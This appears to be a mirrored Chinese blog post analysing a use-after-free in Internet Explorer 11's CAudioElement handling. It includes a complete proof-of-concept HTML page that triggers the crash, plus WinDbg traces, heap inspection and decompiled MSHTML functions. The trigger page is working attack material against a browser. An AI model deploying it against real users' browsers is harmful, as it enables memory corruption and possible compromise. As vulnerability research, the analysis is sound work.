43

Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

 5 years ago
source link: http://www.whereisk0shl.top/post/2018-11-24?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:k0shl 转载请注明出处:https://whereisk0shl.top

漏洞说明

此漏洞是由于IE浏览器在处理CAduioElement对象的时候,在由于释放之后没有进行标记,后续调用也没有进行检查,导致再次调用的时候导致释放后重利用漏洞,下面对此漏洞进行分析。值得一提的是,在IE 11中对dll引用了ASLR,所以在调试过程中的地址会发生一些变化,不过不影响分析。

这个漏洞对应的CVE编号没有找到,不影响漏洞分析的过程,请下载对应版本的IE浏览器触发PoC。

PoC:

<!DOCTYPE html>
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  <meta http-equiv="Expires" content="0" />
  <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
  <meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
  <meta http-equiv="Pragma" content="no-cache" />
  <style type="text/css">
   body{
        background-color:lime;
        font-color:red;
   };
  </style>
  <script type='text/javascript'></script> 
  <script type="text/javascript" language="JavaScript">
  /*
    # Exploit Title: Internet Explorer 11 Use After Free
    # Date: 05/09/2016 - 11/09/2016
    # Exploit Author: Marcin Ressel
    # Vendor Homepage: https://www.microsoft.com/pl-pl/
    # Version: 11.0.9600.18482
    # Tested on: Windows 7 (x64)
     
    ######################################################################################
     
     0:014> g
     (13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
      eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
      eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0         nv up ei pl nz na po nc
      cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
      MSHTML!CElement::SecurityContext+0x25:
      6d754a45 8b80b8000000    mov     eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
      0:014> d @eax
      2f66abb0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abc0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abd0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abe0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66abf0  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac00  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac10  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      2f66ac20  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
      0:014> kb
      ChildEBP RetAddr  Args to Child              
      1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
      1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
      1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
      1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
      1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
      1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
      1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
      1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
      1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
      1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
      1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
      1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
      1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
      1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
      1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
      1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
      1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
      1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
      1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
      1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
       
      ############################################################################################
  */
   
            var doc;
            var trg, trg_parent;        
            function testcase()
            {
                var e1_frame = document.getElementById("e1"); 
                doc = document; 
                 
                e = e1_frame.contentWindow.document.createElement("hr"); 
                rf = doc.body.appendChild(e); 
                 
                e = e1_frame.contentWindow.document.createElement("audio"); 
                rf = doc.body.appendChild(e); 
                 
                dom = doc.getElementsByTagName("*");
                document.getElementById("e1").removeNode(true); 
                trg = dom[14]; 
                trg_parent = doc.body; 
 
                trg.addEventListener('DOMNodeRemoved',
                                     new Function('',
                                                  //'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
                                                  'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
                                                  'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
                                                //  'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
                                                 ),
                                    false);
                trg_parent.innerHTML = trg.innerHTML; 
                //CollectGarbage();
                //trg.innerHTML = "<h1></h1>"
                setTimeout('location.reload();',700);
            }
        </script>
  <title>Use After Free</title>
  </head>
  <body onload='testcase();'>
   <iframe></iframe><iframe src='about:blank' id='e1'></iframe>
  </body>
</html>
</html>

漏洞分析

首先打开IE 11浏览器,附加Windbg,程序崩溃。

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0d2e8bb8 ebx=00000001 ecx=0d0b8f08 edx=00000000 esi=0d0b8f08 edi=0d0b8f08
eip=634d482a esp=0483c6b4 ebp=0483c6c8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CElement::Doc+0x15:
634d482a 8b80b0000000    mov     eax,dword ptr [eax+0B0h] ds:0023:0d2e8c68=????????

崩溃位置引用了一个无效指针,eax此时存放的地址是一个无效地址,+0B0h偏移位置的值也是一个无效值,无效引用导致了问题的发生。通过kb查看一下堆栈回溯。

0:007> kb
ChildEBP RetAddr  Args to Child              
051bc398 683358bd 051bc3ac 683352d0 051bc3c8 MSHTML!CElement::Doc+0x15
051bc3b0 683352ba 518cef08 518cef08 051bc3fc MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x21
051bc3c0 68335a1e 051bc3d8 68335a00 00000028 MSHTML!CMediaElement::Shutdown+0xd7
051bc3d0 6833583c 056fde30 74367d58 066bbbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
051bc3fc 67ee95e9 00000000 066bbbd0 74367d58 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
051bc410 67ee94d6 00000001 00000001 6def7d58 MSHTML!CMarkup::TearDownMarkupHelper+0xdc
051bc438 680fe7a4 00000001 00000001 051bc500 MSHTML!CMarkup::TearDownMarkup+0x58

在最后调用了CElement::Doc,其实最后这个doc是一个securityContext,这个函数调用其实在原PoC中可以看到,不知道为什么我这里显示式Doc,是在RemoveFromPlayerElementTracker函数中调用到的这个函数。

来看一下mshtml.dll,在漏洞附近的调用情况。实际上,观察MSHTML!CElment::Doc发现,eax的值实际上是由esi+30h位置赋值而来。

0:007> !heap -p -a esi
    address 0d0b8f08 found in
    _DPH_HEAP_ROOT @ 4a41000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 d1f0f08:          d0b8f08               f8 -          d0b8000             2000
          MSHTML!CAudioElement::`vftable'
    6d3c8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
    76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
    76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
    63a84e3a MSHTML!CAudioElement::CreateElement+0x0000001a
    63812404 MSHTML!CElement::Clone+0x000001d7
    64354dad MSHTML!CMediaElement::Clone+0x0000001d

通过+hpa的方法看一下esi寄存器的堆的情况,esi实际上存放的是CAudioElement的虚表对象指针,在+30h偏移位置调用时取了一个无效地址,导致了程序崩溃。

0:007> dps esi
0d0b8f08  63a84ec0 MSHTML!CAudioElement::`vftable'
0d0b8f0c  00000001
0d0b8f10  00000001
0d0b8f14  00000018
0d0b8f18  00000000
0d0b8f1c  00000000
0d0b8f20  00000000
0d0b8f24  7ff96910
0d0b8f28  0000007f
0d0b8f2c  02040400
0d0b8f30  00000000
0d0b8f34  00000000
0d0b8f38  0d2e8bb8
0d0b8f3c  6397a178 MSHTML!CVideoElement::`vftable'
0d0b8f40  63a78aec MSHTML!CAudioElement::`vftable'
0d0b8f44  63494c5c MSHTML!CMediaElement::`vftable'
0d0b8f48  63a84eac MSHTML!CAudioElement::`vftable'

这样我们需要关注+30h位置原本存放的什么值,我们通过bp的方法下一个条件断点,跟踪CAudioELment对象的创建情况。

位置下在CAudioElment::CreateElement位置。

bp MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,ecx+30h;g"
ptr:[0d090f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[0d0a8f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63466f08] ,addr:[05be0fe0]
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
(8e4.7f8): C++ EH exception - code e06d7363 (first chance)
ptr:[63412f08] ,addr:[05be0fe0]
ptr:[72412f08] ,addr:[05be0fe0]
ptr:[1dacaf08] ,addr:[05be0fe0]
ptr:[54862f08] ,addr:[05be0fe0]
(8e4.7f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723aabb8 ebx=00000001 ecx=63466f08 edx=00000000 esi=63466f08 edi=63466f08
eip=63f1482a esp=0495c3ac ebp=0495c3c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CElement::Doc+0x15:
63f1482a 8b80b0000000    mov     eax,dword ptr [eax+0B0h] ds:0023:723aac68=????????

可以看到,之前的esi的值是63466f08地址位置,再看一下之前跟踪的结果,实际上我取了一部分,在整个过程中,有大量的CAudioElement对象创建,在跟踪过程中,其实63466f08创建的对象只有一处,在创建之后,偏移+30h位置的值是05be0fe0地址。来看一下这个地址的内容。

0:007> !heap -p -a 0605ffe0
    address 0605ffe0 found in
    _DPH_HEAP_ROOT @ 61000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 60b01a0:          605ffe0               1c -          605f000             2000
          MSHTML!CSecurityContext::`vftable'
    6eef8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    76f95ede ntdll!RtlDebugAllocateHeap+0x00000030
    76f5a40a ntdll!RtlpAllocateHeap+0x000000c4
    76f25ae0 ntdll!RtlAllocateHeap+0x0000023a
    68298d55 MSHTML!ProcessHeapAllocClear+0x00000010
    68127697 MSHTML!CreateDoc+0x00000027
    681306db MSHTML!CBaseCF::CreateInstance+0x0000005e
    6c6c9697 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000007a

其实这个地方的值是CSecurityContext的虚表指针,实际上,这个值在创建之后,会由于PoC中的调用。

dom = doc.getElementsByTagName("*");
                document.getElementById("e1").removeNode(true);

导致CSecurityContext虚表对象释放掉。跟踪CSecurityContext::Release的释放情况。

0:007> bl
 0 e 68384e20     0001 (0001)  0:**** MSHTML!CAudioElement::CreateElement "gu;.printf \"ptr:[%08x] ,addr:[%08x]\\n\",ecx,poi(ecx+30h);g"
bp MSHTML!CSecurityContext::Release ".printf \"Release:[%08x]\\n\",poi(esp+4);g;"

跟踪过程中可以观察到对象的创建之后释放。

ptr:[05947f08] ,addr:[06a94fe0]
Release:[06a94fe0]

释放后,并没有进行标记,而是直接调用js,导致RemoveFromPlayToElementTracker函数执行。

__int32 __thiscall CMediaElement::RemoveFromPlayToElementTracker(CMediaElement *this)
{
  CMediaElement *v1; // esi@1
  int v2; // ebx@1
  CDoc *v3; // eax@1
  __int32 result; // eax@1
  struct CPlayToElementTracker *v5; // [sp+8h] [bp-4h]@1

  v1 = this;
  v2 = *((_WORD *)this + 16) != 129;
  v3 = CElement::Doc(this);
  result = CDoc::GetPlayToElementTracker(v3, &v5);
  if ( result >= 0 )
    result = CPlayToElementTracker::RemoveElement(v5, v2, v1);
  return result;
}

this指针表示CAudioElment对象,接下来会在CElement::SecurityContext引用到+30h位置的指针的值。

跟踪进这个函数看一下。

struct CDoc *__thiscall CElement::Doc(CElement *this)
{
  int v1; // eax@1
  bool v2; // zf@2

  v1 = *((_DWORD *)this + 12);
  if ( *((_DWORD *)this + 9) & 0x30000 )
  {
    v2 = (*(_BYTE *)(v1 + 15) & 1) == 0;
    v1 = *(_DWORD *)(v1 + 4);
  }
  else
  {
    v2 = (*((_DWORD *)this + 9) & 0x40000) == 0;
  }
  if ( !v2 )
    v1 = *(_DWORD *)(v1 + 176);
  return *(struct CDoc **)(v1 + 12);
}

在v1中会引用this+12,就是CSecurityContext的指针值,然而这时候这个指针已经被释放,导致释放后重用漏洞的发生,这里后续没有虚表调用,可能没法继续利用。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK